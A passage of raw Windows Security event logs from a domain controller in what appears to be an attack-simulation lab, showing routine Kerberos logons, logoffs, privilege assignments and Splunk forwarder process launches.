-Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3EF387 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51468 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:15:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256344 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3EF387 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:16:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256347 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:16:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256349 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:16:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256348 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:16:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256350 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:16:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256351 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:16:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256352 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:16:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256353 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:16:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256356 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F38E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:16:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256355 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F38E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51481 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:16:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256354 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F38E4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:17:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256362 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F3BFE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:17:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256361 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F3BFE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51485 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:17:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256360 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F3BFE - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:17:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256359 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F3B92 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:17:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256358 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F3B92 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51484 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:17:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256357 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F3B92 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:17:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256363 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:17:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256365 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:17:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256364 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256377 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x778 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256376 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4DBD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256375 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4ECB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256374 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4F14 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256373 